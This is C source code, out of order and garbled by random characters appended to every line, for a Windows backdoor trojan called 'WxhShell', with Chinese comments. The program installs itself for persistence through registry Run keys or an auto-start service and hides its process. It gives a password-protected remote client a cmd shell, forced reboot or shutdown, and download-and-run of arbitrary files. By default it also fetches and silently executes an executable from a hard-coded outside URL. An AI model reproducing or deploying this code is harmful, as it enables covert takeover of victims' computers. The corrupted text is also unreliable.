    } ^!^6 |[  
    break; :Rv ?>I j  
    } r8g4NsRVtv  
  // 关机 ;iR( Ir  
  case 'd': { tvXoF;Yq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ph{p[QI:{X  
    if(Boot(SHUTDOWN)) HM57b>6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _G%]d$2f`  
    else { EBlfwFd  
    closesocket(wsh); W&CQ87b  
    ExitThread(0); <k?ofE1o  
    } b~fX=!M  
    break; ]x1MB|a6  
    } W,"|([t4.\  
  // 获取shell 9zSHn.y  
  case 's': { 1c_gh12  
    CmdShell(wsh); q9fCoz  
    closesocket(wsh); ' QGacV   
    ExitThread(0); B?A c  
    break; @Gp=9\L  
  } ?PVJeFH  
  // 退出 Mx<z34(T  
  case 'x': { @)s;u}H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #=F"PhiX`  
    CloseIt(wsh); uT'_}cw  
    break; rE0?R( _  
    } K*iy^}  
  // 离开 \Zc$X^}vN  
  case 'q': { u>c\J|K_V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9rXbv4{  
    closesocket(wsh); ^2f'I iE  
    WSACleanup(); 7jvy]5y8&~  
    exit(1); 8 2qf7`  
    break; NbOeF7cq+  
        } L#sw@UCK  
  } \{r-e  
  } Ft%HWGE  
vzV,} S*c  
  // 提示信息 n][/c_]q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U |I>CDp  
} S Y\ UuZ  
  } S<}2y9F  
].F7. zi  
  return; @_"B0$,-i  
} 1=BDqSZ@9  
Td#D\d\R  
// shell模块句柄 V.zKjoky@  
int CmdShell(SOCKET sock) @sQ^6FK0G  
{ lyGQ6zlSn  
STARTUPINFO si; 79 zFF  
ZeroMemory(&si,sizeof(si)); 0#(K}9T)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uC\FW6K=m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dmh6o *  
PROCESS_INFORMATION ProcessInfo; u8ofgcFYE  
char cmdline[]="cmd"; ^0"^Xk*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T}} 0hs;  
  return 0; RC 7|@a  
} *Q2;bmIc  
C!Cg.^;  
// 自身启动模式 9~+A<X]Hd  
int StartFromService(void) 7sP;+G  
{ n]M1'yU  
typedef struct \b {Aj,6,  
{ u I$| M  
  DWORD ExitStatus; OLXkiesK{  
  DWORD PebBaseAddress; s_]p6M  
  DWORD AffinityMask; $=dp)  
  DWORD BasePriority; V]b1cDx{  
  ULONG UniqueProcessId; &<I*;z6%t  
  ULONG InheritedFromUniqueProcessId; *r!f! eA:  
}   PROCESS_BASIC_INFORMATION; { 3``To$  
m87,N~DP  
PROCNTQSIP NtQueryInformationProcess; k=w;jX&;`  
.K?',x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TU ]Ed*'&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6#~"~WfPQ  
o`?0D)/O  
  HANDLE             hProcess; 6OYXcPW'  
  PROCESS_BASIC_INFORMATION pbi; \s<7!NAE4  
:}d`$2Dz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J ytY6HF  
  if(NULL == hInst ) return 0; .qVz rS  
OJd!g/V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6BIP;, M=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xx{ho 4qq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mv@cGdxu  
KTn,}7vZ  
  if (!NtQueryInformationProcess) return 0; 8 vNgePn  
gfQ&U@N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *8}Y0V\s  
  if(!hProcess) return 0; =4GJYhj  
(]wi^dE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }.Eq_wP<  
WqN=  D5  
  CloseHandle(hProcess); =a rk?<E  
%M8Egr2|0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a%*l]S0z"  
if(hProcess==NULL) return 0; W- wy<<~f  
vQrce&  
HMODULE hMod; pAS!;t=n,  
char procName[255]; rQiX7  
unsigned long cbNeeded; EubR] ckB  
SNP.n))   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d_9Fc" C~  
-1Y9-nn[m  
  CloseHandle(hProcess); gyH'92ck  
/x.TF'Z*  
if(strstr(procName,"services")) return 1; // 以服务启动 Q,Tet&in )  
#!p=P<4M  
  return 0; // 注册表启动 6cof Zc$  
} >}QRMn|@H  
w?CbATQ   
// 主模块 0P`wh=")  
int StartWxhshell(LPSTR lpCmdLine) `mPmEV<  
{ :0o $qz2  
  SOCKET wsl; ^q6H =Dl  
BOOL val=TRUE; OJE<2:K  
  int port=0; 0z?b5D;  
  struct sockaddr_in door; ^}; 4r  
0?uX}8w  
  if(wscfg.ws_autoins) Install(); k5G(7Ug=g~  
.d`+#1Ot(  
port=atoi(lpCmdLine); T=cSTS!P;q  
Rf@D]+v  
if(port<=0) port=wscfg.ws_port; ;SQ<^"eK  
Wd4fIegk  
  WSADATA data; L/(e/Jalg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (^GVy=  
:1u>T3L.z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ga#,42)H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tb,.f3;  
  door.sin_family = AF_INET; $w%oLI@kl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /^96|  
  door.sin_port = htons(port); !8&,GT  
E%ea o$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3ojK2F(1D  
closesocket(wsl); .fcU&t  
return 1; |Y3!Lix  
} hZnT`!iFE^  
-Nmf}`_  
  if(listen(wsl,2) == INVALID_SOCKET) { =fMSmn1S  
closesocket(wsl); O{8"f\*  
return 1; b3b 4'l   
} hTI8hh  
  Wxhshell(wsl); 47I:o9E  
  WSACleanup(); sBuJK'  
LLmgk"  
return 0; tW5 \Ktjno  
mFayU w  
} ]i*q*]x2u  
&QE^i%6>\  
// 以NT服务方式启动 zF /}s_><*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [i[G" %Q  
{ vZ 4Z+;.  
DWORD   status = 0; Y~1}B_  
  DWORD   specificError = 0xfffffff; etf ft8  
k Fv\V   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7UHqiA`L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?97MW a   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DGY#pnCu  
  serviceStatus.dwWin32ExitCode     = 0; yb/< 7  
  serviceStatus.dwServiceSpecificExitCode = 0; W9 y8dw.  
  serviceStatus.dwCheckPoint       = 0; Orh5d 7+S  
  serviceStatus.dwWaitHint       = 0; uZZ[`PA(  
3M{!yPlj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rP ;~<IxEr  
  if (hServiceStatusHandle==0) return; (Wr;:3i  
Y^LFJB|b4  
status = GetLastError(); 8DTk<5mW~  
  if (status!=NO_ERROR) 1W~-C B>  
{ v,vTRrpK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0!=e1_  
    serviceStatus.dwCheckPoint       = 0; 3sGrX"0D  
    serviceStatus.dwWaitHint       = 0; f[7'kv5S  
    serviceStatus.dwWin32ExitCode     = status; t^?8Di\  
    serviceStatus.dwServiceSpecificExitCode = specificError; E E?v~6"&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QOuy(GY  
    return; bI[!y#_z4  
  } N-^\X3X  
V.WfP*~NJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /6{`6(p  
  serviceStatus.dwCheckPoint       = 0; B2d$!Any  
  serviceStatus.dwWaitHint       = 0; >0 !J]gK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4\pA^%73  
} d1e'!y}R5  
w%S<N  
// 处理NT服务事件,比如:启动、停止 5K'EuI)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7i{Rn K6*  
{ rQ}4\PTi  
switch(fdwControl) +azPpGZ=  
{ PB>p"[ap4  
case SERVICE_CONTROL_STOP: W/oRt<:E  
  serviceStatus.dwWin32ExitCode = 0; N(vbo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OpxVy _5,  
  serviceStatus.dwCheckPoint   = 0; yD1*^~loJ  
  serviceStatus.dwWaitHint     = 0; {\|? {8f  
  { u-UUF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?^BsR  
  } 1@)]+* F*z  
  return; {DN c7G  
case SERVICE_CONTROL_PAUSE: SNvK8,"g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $pk3d+0B  
  break; O#O~A |  
case SERVICE_CONTROL_CONTINUE: Aog 3d\1$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  QN_5q5  
  break; V EY!0PIj  
case SERVICE_CONTROL_INTERROGATE: ~ $r^Ur!E\  
  break; W<!q>8Xn?  
}; BCUw"R#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RB/[(4  
} lG# &Pv>-  
K'?ab 0  
// 标准应用程序主函数 bG^eP :r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jr17pu(t  
{ /oiAAB27  
JS(KCY9  
// 获取操作系统版本 YD@V2gK  
OsIsNt=GetOsVer(); tB(Q-c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !c6 lP'U  
VPN@q<BV  
  // 从命令行安装 7/Lbs  
  if(strpbrk(lpCmdLine,"iI")) Install(); czMLvPXRx  
bSz6O/A/  
  // 下载执行文件 LV8,nTYvE  
if(wscfg.ws_downexe) { d,<ctd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !LIWoa[ F.  
  WinExec(wscfg.ws_filenam,SW_HIDE); t ?bq ~!X  
} /SMp`Q88  
S\0"G*  
if(!OsIsNt) { :\80*[=;Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 yr sP'th  
HideProc(); }GkEv}~t  
StartWxhshell(lpCmdLine); nWXI*%m5  
} :Hd?0eZ|  
else CWBsiL f  
  if(StartFromService()) Q]6nW[@j'  
  // 以服务方式启动 ?'T>/<(  
  StartServiceCtrlDispatcher(DispatchTable); $Fr2oSTT)  
else M8juab%y  
  // 普通方式启动 !Z=`Wk5  
  StartWxhshell(lpCmdLine);  g<,v2A  
E/U1g4S  
return 0; t:=Ui/!q  
} O')Ivm,E  
9!9 Gpi  
f7s]:n*Ih  
P\2QH@p@t  
=========================================== q,:\i+>K*  
9,y&?GLP  
?R,^prW{  
8 6L&u:o:  
h)y"?Jj  
:hMuxHr  
" m@zxjIwT  
^S<Z'S  
#include <stdio.h> 8kMMQES  
#include <string.h> kJDMIh|g  
#include <windows.h> tAc;O[L  
#include <winsock2.h> sp_(j!]jX  
#include <winsvc.h> XLmbpEh  
#include <urlmon.h> Opjt? ]  
3tr?-l[N\  
#pragma comment (lib, "Ws2_32.lib") $ng\qJ"HF  
#pragma comment (lib, "urlmon.lib") ];uvE? 55  
x[(2}Qd  
#define MAX_USER   100 // 最大客户端连接数 1]hMA\x  
#define BUF_SOCK   200 // sock buffer )3..7ht3^5  
#define KEY_BUFF   255 // 输入 buffer <CA lJ  
PKjA@+  
#define REBOOT     0   // 重启 iicrRGp3  
#define SHUTDOWN   1   // 关机 9l,Gd  
~!:F'}bj  
#define DEF_PORT   5000 // 监听端口 m2_&rjGz  
^1Yx'ua'  
#define REG_LEN     16   // 注册表键长度 JWn9&WK  
#define SVC_LEN     80   // NT服务名长度 mDM]RAub)  
"jeJV,%  
// 从dll定义API -Q$$2QW!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8tdUnh%/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "%.#/!RG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3}h&/KN{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a#raUF7e  
8AefgjE  
// wxhshell配置信息 p O: EJ  
struct WSCFG { x&9 I2"  
  int ws_port;         // 监听端口 <c\aZ9+V  
  char ws_passstr[REG_LEN]; // 口令 B]Zsn`n  
  int ws_autoins;       // 安装标记, 1=yes 0=no LG,RF:  
  char ws_regname[REG_LEN]; // 注册表键名 ^ 1J;SO|  
  char ws_svcname[REG_LEN]; // 服务名 n:#ji|wM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xp{gh@#dr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y!v$5wi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @{ nT4{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1%-?e``.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P{}Oe *9"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5:s]z#8)  
T.(SBP  
}; xE)pj|  
o<g (%ncr  
// default Wxhshell configuration )E4COw+  
struct WSCFG wscfg={DEF_PORT, qlgh$9  
    "xuhuanlingzhe", Uc6U!X  
    1, R/b=!<  
    "Wxhshell", 2#E;5UYu  
    "Wxhshell", 2XXEg> CU  
            "WxhShell Service", *uv\V@0  
    "Wrsky Windows CmdShell Service", CI  @I  
    "Please Input Your Password: ", x`lBG%Y[-v  
  1, gq0gr?  
  "http://www.wrsky.com/wxhshell.exe", V!Joh5=a  
  "Wxhshell.exe" jWoo{+=D  
    }; P{qn@:  
Zv-6H*zM6  
// 消息定义模块 k,@1rOf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cu?$!|V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &1?Q]ZRp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qh&K{r*T  
char *msg_ws_ext="\n\rExit."; 6g.@I!j E  
char *msg_ws_end="\n\rQuit."; )b-G2< kb  
char *msg_ws_boot="\n\rReboot..."; zh4o<f:-  
char *msg_ws_poff="\n\rShutdown..."; snK9']WXo  
char *msg_ws_down="\n\rSave to "; H~$|y9>qI  
|j!D _j#U  
char *msg_ws_err="\n\rErr!"; 4 B> l|%  
char *msg_ws_ok="\n\rOK!"; /z'j:~`E  
R1 wd Q8q  
char ExeFile[MAX_PATH]; MRC5c:(  
int nUser = 0; e1IuobT  
HANDLE handles[MAX_USER]; /0\pPc*kA{  
int OsIsNt;  (&gCVf  
$jzk4V  
SERVICE_STATUS       serviceStatus; u(~s$ENl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,J~1~fg89  
]':C~-RV{  
// 函数声明 (%r:PcGMEV  
int Install(void); u3<])}I'  
int Uninstall(void); Z6*RIdD>  
int DownloadFile(char *sURL, SOCKET wsh); -Kc-eU-&q  
int Boot(int flag); |/(5GX,X  
void HideProc(void); !*cf}<Kmw  
int GetOsVer(void); EP8LJzd"  
int Wxhshell(SOCKET wsl); J\{)qJ*jp  
void TalkWithClient(void *cs); $_ NaxV  
int CmdShell(SOCKET sock); P9'5=e@jB  
int StartFromService(void); <T}#>xHs3  
int StartWxhshell(LPSTR lpCmdLine); O:U@m@7  
\vT8 )\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m&%N4Q~X>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m:^@AR1%d  
Kr#=u~~M  
// 数据结构和表定义 6%'{Cq1DE  
SERVICE_TABLE_ENTRY DispatchTable[] = mrbIoN==`  
{ K)v(Z"  
{wscfg.ws_svcname, NTServiceMain}, :{AN@zC0\  
{NULL, NULL} hlVP_h"z  
}; K l4",  
$K iMu  
// 自我安装 kQb0pfYs  
int Install(void) QxkfP%_g  
{ jsG9{/Ov3  
  char svExeFile[MAX_PATH];  [:k'VXL  
  HKEY key; _m&VdIPO  
  strcpy(svExeFile,ExeFile); zZRqb/20  
ysa"f+/  
// 如果是win9x系统,修改注册表设为自启动 6RF01z|~_  
if(!OsIsNt) { ENmo^O#,u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;ZLoG*U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y#MLxm  
  RegCloseKey(key); a=J?[qrx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C VUDN2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A1@-;/H3  
  RegCloseKey(key); -Rvxjy)[N  
  return 0; 226s:\d  
    } &l.^UQ   
  } @N(jd($E  
} *p-Fn$7\n  
else { }Q%>Fv  
kal8k-$#  
// 如果是NT以上系统,安装为系统服务 s=$7lYX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nqH^%/7)A@  
if (schSCManager!=0) dOhV`8l  
{ ~ U1iB  
  SC_HANDLE schService = CreateService }/LYI  
  ( I*ej_cFQ^  
  schSCManager, }n.h)Oz  
  wscfg.ws_svcname, pta%%8":  
  wscfg.ws_svcdisp, |B n=$T]  
  SERVICE_ALL_ACCESS, m^=, RfUUd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f 4 _\F/  
  SERVICE_AUTO_START, izKk@{Md  
  SERVICE_ERROR_NORMAL, 5A)w.i&V  
  svExeFile, {)[i\=,`{  
  NULL, BOWTH{KR<<  
  NULL, r:q#l~;^  
  NULL, 8iCI s=06  
  NULL, sH]AB =_  
  NULL *HC8kD a%$  
  ); e%P;Jj476  
  if (schService!=0) {, |"Rpd  
  { `~}7k)F(  
  CloseServiceHandle(schService); X=hgLK^3<,  
  CloseServiceHandle(schSCManager); lVFX@I=pI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^"Y'zI L  
  strcat(svExeFile,wscfg.ws_svcname); 1Q%.-vs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gB"Tc[l1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d{he  
  RegCloseKey(key); EH:1Z*|Z{\  
  return 0; q^cFD  
    } C0W~Tk\C2  
  } v Y\O=TZT  
  CloseServiceHandle(schSCManager); |x4yPYBL  
} [vi4,'wm  
} Po_OQJ:bd  
<7 rK  
return 1; %8tN$8P  
}  )L!R~F C  
'2tEKVb  
// 自我卸载 cg.e(@(  
int Uninstall(void) $SXxAS1  
{ I5A^/=bf&  
  HKEY key; 10rGA=x'(  
b>z.d-  
if(!OsIsNt) { s`J=:>9*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^GW[lT  
  RegDeleteValue(key,wscfg.ws_regname); {|gJC>f@  
  RegCloseKey(key); z|<oxF.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Yu+M3Fq  
  RegDeleteValue(key,wscfg.ws_regname); _HK& KY  
  RegCloseKey(key); 8?YW i  
  return 0; `|w#K28t"  
  } +m.8*^  
} ) T1 oDk  
} *N r|G61  
else { >FHsZKJ  
-IS9uaT5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /RC!Yi  
if (schSCManager!=0) de6dLT>m  
{ nnNg^<[k3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t4*A+"~j  
  if (schService!=0) T/;hIX:R  
  { $te,\$&}  
  if(DeleteService(schService)!=0) { l{U3;  
  CloseServiceHandle(schService); ,m?D\Pru  
  CloseServiceHandle(schSCManager); b1u'ukDP\  
  return 0; % 4"~O _S  
  } gL"}53A  
  CloseServiceHandle(schService); `Cf en8  
  } Y/66`&,{  
  CloseServiceHandle(schSCManager); e W)I}z +{  
} W~F/ZrT3A  
} 1.H!A@  
RG3G},Q   
return 1; Q $0%~`t  
} bW^QH-t  
3x0wk9lND  
// 从指定url下载文件 yTt (fn:;  
int DownloadFile(char *sURL, SOCKET wsh) ->&VbR)  
{ ~k0)+D}  
  HRESULT hr; O`jA-t  
char seps[]= "/"; S1`0d9ds#  
char *token; `_A?a_[*  
char *file; PJ@,01  
char myURL[MAX_PATH]; *UoHzaIqz  
char myFILE[MAX_PATH]; ()#tR^T  
"3|"rc&F#  
strcpy(myURL,sURL); AV4HX\`{P0  
  token=strtok(myURL,seps); cu^*x/0,  
  while(token!=NULL) @!/fvP  
  { 25n (&NV  
    file=token; 0r ; nz]'  
  token=strtok(NULL,seps); eJGos!>*  
  } jgKL88J*\  
].P(/~FS9  
GetCurrentDirectory(MAX_PATH,myFILE); }l?_Cfvu  
strcat(myFILE, "\\"); U<Y'.!  
strcat(myFILE, file); 5b`xN!c  
  send(wsh,myFILE,strlen(myFILE),0); 25c!-.5D  
send(wsh,"...",3,0); 2 `h!:0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "ue$DyN  
  if(hr==S_OK) #Rx"L&3Ue  
return 0; <lmJa#  
else So *Wk "  
return 1; @1&;R  
0o$HC86w  
} wv.Ul rpx.  
:2)1vQH0L  
// 系统电源模块 6a?$=y  
int Boot(int flag) Gi2ad+QH-  
{ H L|s pl(c  
  HANDLE hToken; ?  < O  
  TOKEN_PRIVILEGES tkp; d3G{0PX  
"E|r3cN  
  if(OsIsNt) { )R)$T'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1R%`i '$/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lhA s!\F  
    tkp.PrivilegeCount = 1; 9>&tMq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FNm6/_u3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XVDd1#h  
if(flag==REBOOT) { iynS4]`U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EKd3$(^   
  return 0; hJo^Wo  
} Y-3[KHD  
else { L^Q+Q)zTh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hRa(<ZK  
  return 0; #f3;}1(  
} BZ;}ROmqk  
  } @ZkAul0@  
  else { B+e_Y\B u  
if(flag==REBOOT) { )=E~CpKV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,J (5@8(>a  
  return 0; 9^QYuf3O  
} wvmg)4,  
else { dXcPWbrU4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b;J0'o^G|  
  return 0; .)@tXH=}+  
} RQpIBsj  
} f>)Tq'  
QPe9s[Y  
return 1; uH&,%k9GVK  
} b4)*<Zp`  
h lkvk]v  
// win9x进程隐藏模块 (}FW])y  
void HideProc(void) V4eng "  
{ ~0F9x9V  
:#\B {)(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (' Ko#3b  
  if ( hKernel != NULL ) [CDXCV-z  
  { RZ|HwYG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g{ v5mly  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `  -[Bo  
    FreeLibrary(hKernel); C^,4`OI  
  } &V#zkW  
{yHB2=nI  
return; gR;8ht(pd(  
} uspkn1-  
;c X^8;F0  
// 获取操作系统版本 Sj0 ucnuHi  
int GetOsVer(void) <E[HlL  
{  ^%5~ ;  
  OSVERSIONINFO winfo; ;5D @kS^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i.&Kpw9;m  
  GetVersionEx(&winfo); XSp x''l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jom} _  
  return 1; \]U<hub  
  else hC|5e|S  
  return 0; [%7;f|p?  
} NMl ?Y uEv  
K_AtU/  
// 客户端句柄模块 )l#%.Z9  
int Wxhshell(SOCKET wsl)  :Hzz{'  
{ w>6"Sc7oc2  
  SOCKET wsh; pHj[O?F  
  struct sockaddr_in client; nIyROhZ  
  DWORD myID; lrs0^@.+  
#QTfT&m+G}  
  while(nUser<MAX_USER) AaVI%$  
{ obAs<nk  
  int nSize=sizeof(client); g[EM]q,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GUu\dl9WA'  
  if(wsh==INVALID_SOCKET) return 1; ~?AC:  
O t *K+^I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lL(p]!K'  
if(handles[nUser]==0) &G-#*OG  
  closesocket(wsh); S2rEy2\}:  
else #~H%[ sa  
  nUser++; Uz6{>OCvk|  
  } c~gNH%1XN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'v\1:zi  
&/ >;LgN  
  return 0; 0" U5oP[  
} "UQr:/  
Gur8.A;Y  
// 关闭 socket V[o7J r~  
void CloseIt(SOCKET wsh) UAsF0&]  
{ MAE7A"l a  
closesocket(wsh); {D_++^  
nUser--; xSpMyXrQ  
ExitThread(0); g08*}0-k  
} qri}=du&F  
Ws-6W!Ib%  
// 客户端请求句柄 @Jb@L  
void TalkWithClient(void *cs) Rk($lW)  
{ bz, Da  
O.@g/05C  
  SOCKET wsh=(SOCKET)cs; ,wtFs!8  
  char pwd[SVC_LEN]; K1?Z5X(b  
  char cmd[KEY_BUFF]; Ur'9bl{5  
char chr[1]; LP^p~5Az  
int i,j; VHXI@UT*  
"gXxRHTX  
  while (nUser < MAX_USER) { /=8O&1=D  
dtB[m^$  
if(wscfg.ws_passstr) { ==%`e/~Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .S~@BI(|<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L;/9L[s,  
  //ZeroMemory(pwd,KEY_BUFF); LP.HS'M~u  
      i=0; Sm$p\ORa  
  while(i<SVC_LEN) { i{o#3  
,>D ja59  
  // 设置超时 8[8|*8xqs  
  fd_set FdRead; oN *SRaAp  
  struct timeval TimeOut; kQ@gO[hS  
  FD_ZERO(&FdRead); UZzNVIXA%  
  FD_SET(wsh,&FdRead); ]i-P-9PA4  
  TimeOut.tv_sec=8; ^I]LoG:  
  TimeOut.tv_usec=0; P@qMJ}<j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7~_{.f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yo>`h2C4  
x&at^Fp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4bP13f  
  pwd=chr[0]; 2]L=s3  
  if(chr[0]==0xd || chr[0]==0xa) { (C,e6r Y  
  pwd=0; >%-Hj6%  
  break; aXMv(e+  
  } yC0C`oC  
  i++; JZ`>|<W  
    } 8O,? |c=>  
"hL9f=w  
  // 如果是非法用户,关闭 socket {DU"]c/S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q_cC7p6t  
} ~mtTsZc  
~j=xiP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0CT}DQ._^N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AT"!{Y "H  
Vwjk[ DOL  
while(1) { ov8 ByJc  
? Phk~ jE  
  ZeroMemory(cmd,KEY_BUFF); kW#S]fsfU  
q[-|ZA bbr  
      // 自动支持客户端 telnet标准   n'T He|:I  
  j=0; N? M   
  while(j<KEY_BUFF) { b`$yqi<[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lK0s=4c{  
  cmd[j]=chr[0]; d:A}CBTSY  
  if(chr[0]==0xa || chr[0]==0xd) { WrNLGkt  
  cmd[j]=0; Nwgu P  
  break; KacR?Al  
  }  Do|]eD  
  j++; y<TOqn  
    } <3b'm*  
k^z0Lo|)'  
  // 下载文件 =4eUAeH {w  
  if(strstr(cmd,"http://")) { #,G1R7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Q]Rd  
